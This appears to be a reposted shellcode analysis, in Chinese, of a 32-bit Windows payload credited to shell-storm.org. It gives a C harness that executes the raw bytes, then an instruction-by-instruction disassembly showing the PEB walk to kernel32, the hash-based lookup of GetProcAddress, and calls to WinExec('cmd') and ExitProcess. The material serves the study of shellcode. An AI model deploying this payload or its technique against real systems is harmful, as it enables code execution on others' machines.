轉(zhuǎn)載自
http://shell-storm.org/shellcode/files/shellcode-662.php
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int main(){
unsigned char shellcode[]=
"\xFC\x33\xD2\xB2\x30\x64\xFF\x32\x5A\x8B"
"\x52\x0C\x8B\x52\x14\x8B\x72\x28\x33\xC9"
"\xB1\x18\x33\xFF\x33\xC0\xAC\x3C\x61\x7C"
"\x02\x2C\x20\xC1\xCF\x0D\x03\xF8\xE2\xF0"
"\x81\xFF\x5B\xBC\x4A\x6A\x8B\x5A\x10\x8B"
"\x12\x75\xDA\x8B\x53\x3C\x03\xD3\xFF\x72"
"\x34\x8B\x52\x78\x03\xD3\x8B\x72\x20\x03"
"\xF3\x33\xC9\x41\xAD\x03\xC3\x81\x38\x47"
"\x65\x74\x50\x75\xF4\x81\x78\x04\x72\x6F"
"\x63\x41\x75\xEB\x81\x78\x08\x64\x64\x72"
"\x65\x75\xE2\x49\x8B\x72\x24\x03\xF3\x66"
"\x8B\x0C\x4E\x8B\x72\x1C\x03\xF3\x8B\x14"
"\x8E\x03\xD3\x52\x68\x78\x65\x63\x01\xFE"
"\x4C\x24\x03\x68\x57\x69\x6E\x45\x54\x53"
"\xFF\xD2\x68\x63\x6D\x64\x01\xFE\x4C\x24"
"\x03\x6A\x05\x33\xC9\x8D\x4C\x24\x04\x51"
"\xFF\xD0\x68\x65\x73\x73\x01\x8B\xDF\xFE"
"\x4C\x24\x03\x68\x50\x72\x6F\x63\x68\x45"
"\x78\x69\x74\x54\xFF\x74\x24\x20\xFF\x54"
"\x24\x20\x57\xFF\xD0";
printf("Size = %d\n", strlen(shellcode));
system("PAUSE");
((void (*)())shellcode)();
return 0;
}
對這個shellcode的分析
const char *shellcode =
"\xFC" // cld ; 清空標志
"\x33\xD2" // xor edx, edx
"\xB2\x30" // mov dl, 30h ; FS 寄存器保存了 TEB 結(jié)構(gòu)體
// ; 30h 處是 PEB 結(jié)構(gòu)體
"\x64\xFF\x32" // push dword ptr fs:[edx] ; PEB 地址入棧
"\x5A" // pop edx ; 獲取 PEB 地址到 EDX
"\x8B\x52\x0C" // mov edx, dword ptr [edx+0Ch] ; 獲取 PEB_LDR_DATA 結(jié)構(gòu)體地址到 EDX
"\x8B\x52\x14" // mov edx, dword ptr [edx+14h] ; 獲取 InMemoryOrderModuleList 中的第一項 ENTRY 地址到 EDX
"\x8B\x72\x28" // mov esi, dword ptr [edx+28h] ; 獲取 第一個 ENTRY 的 FullDllName 的地址到 ESI
"\x33\xC9" // xor ecx, ecx
"\xB1\x18" // mov cl, 18h
"\x33\xFF" // xor edi, edi
"\x33\xC0" // xor eax, eax
"\xAC" // lods byte ptr [esi]
"\x3C\x61" // cmp al, 61h
"\x7C\x02" // jl +2h
"\x2C\x20" // sub al, 20h
"\xC1\xCF\x0D" // ror edi, 0Dh
"\x03\xF8" // add edi, eax
"\xE2\xF0" // loop -10h
"\x81\xFF\x5B\xBC\x4A\x6A" // cmp edi, 6A4ABC5Bh
"\x8B\x5A\x10" // mov ebx, dword ptr [edx+10h]
"\x8B\x12" // mov edx, dword ptr [edx]
"\x75\xDA" // jne -26h ; 找到 KERNEL32.DLL 所在的 ENTRY
"\x8B\x53\x3C" // mov edx, dword ptr [ebx+3Ch]
"\x03\xD3" // add edx, ebx
"\xFF\x72\x34" // push dword ptr [edx+34h]
"\x8B\x52\x78" // mov edx, dword ptr [edx+78h]
"\x03\xD3" // add edx, ebx
"\x8B\x72\x20" // mov esi, dword ptr [edx+20h]
"\x03\xF3" // add esi, ebx
"\x33\xC9" // xor ecx, ecx
"\x41" // inc ecx
"\xAD" // lods dword ptr [esi]
"\x03\xC3" // add eax, ebx
"\x81\x38\x47\x65\x74\x50" // cmp dword ptr [eax], 50746547h
"\x75\xF4" // jne -0ch
"\x81\x78\x04\x72\x6F\x63\x41" // cmp dword ptr [eax+4], 41636F72h
"\x75\xEB" // jne -15h
"\x81\x78\x08\x64\x64\x72\x65" // cmp dword ptr [eax+8], 65726464h ; 獲得 "GetProcAddress" 函數(shù)的地址
"\x75\xE2" // jne -1eh
"\x49" // dec ecx
"\x8B\x72\x24" // mov esi, dword ptr [edx+24h]
"\x03\xF3" // add esi, ebx
"\x66\x8B\x0C\x4E" // mov cx, word ptr [esi+ecx*2]
"\x8B\x72\x1C" // mov esi, dword ptr [edx+1Ch]
"\x03\xF3" // add esi, ebx
"\x8B\x14\x8E" // mov edx, dword ptr [esi+ecx*4]
"\x03\xD3" // add edx, ebx
"\x52" // push edx
"\x68\x78\x65\x63\x01" // push 01636578h
"\xFE\x4C\x24\x03" // dec byte ptr [esp+3]
"\x68\x57\x69\x6E\x45" // push 456E6957h
"\x54" // push esp
"\x53" // push ebx
"\xFF\xD2" // call edx
"\x68\x63\x6D\x64\x01" // push 01646D63h
"\xFE\x4C\x24\x03" // dec byte ptr [esp+3]
"\x6A\x05" // push 5
"\x33\xC9" // xor ecx, ecx
"\x8D\x4C\x24\x04" // lea ecx, [esp+4] ; 獲得 "WinExec" 函數(shù)的地址
"\x51" // push ecx
"\xFF\xD0" // call eax
"\x68\x65\x73\x73\x01" // push 01737365h
"\x8B\xDF" // mov ebx, edi
"\xFE\x4C\x24\x03" // dec byte ptr [esp+3]
"\x68\x50\x72\x6F\x63" // push 636F7250h
"\x68\x45\x78\x69\x74" // push 74697845h
"\x54" // push esp
"\xFF\x74\x24\x20" // push dword ptr [esp+20h]
"\xFF\x54\x24\x20" // call dword ptr [esp+20h] ; 執(zhí)行 WinExec("cmd")
"\x57" // push edi
"\xFF\xD0" // call eax ; 執(zhí)行 ExitProcess
;
